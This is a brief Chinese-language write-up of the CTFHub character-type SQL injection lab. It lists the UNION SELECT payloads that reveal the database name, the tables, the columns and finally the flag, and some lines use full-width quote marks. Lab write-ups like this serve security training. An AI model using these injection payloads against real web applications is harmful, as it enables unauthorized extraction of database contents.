CTFHub SQL字符型注入

CTFHub SQL字符型注入

题目说的很清楚，字符型注入，需要注意引号和注释

和整数型注入一样，回显只有两处：ID和Data，直接上联合查询

123’ union select database(),2 #

得到数据库，接着查表

123' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #

得到表名，继续拿字段名

123‘ union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #

拿到字段名，直接拿flag
123’ union select flag,3 from sqli.flag #

id=123在数据库里不存在，这样回显为NULL，换成其他数字都行，不然没有回显union select查询位置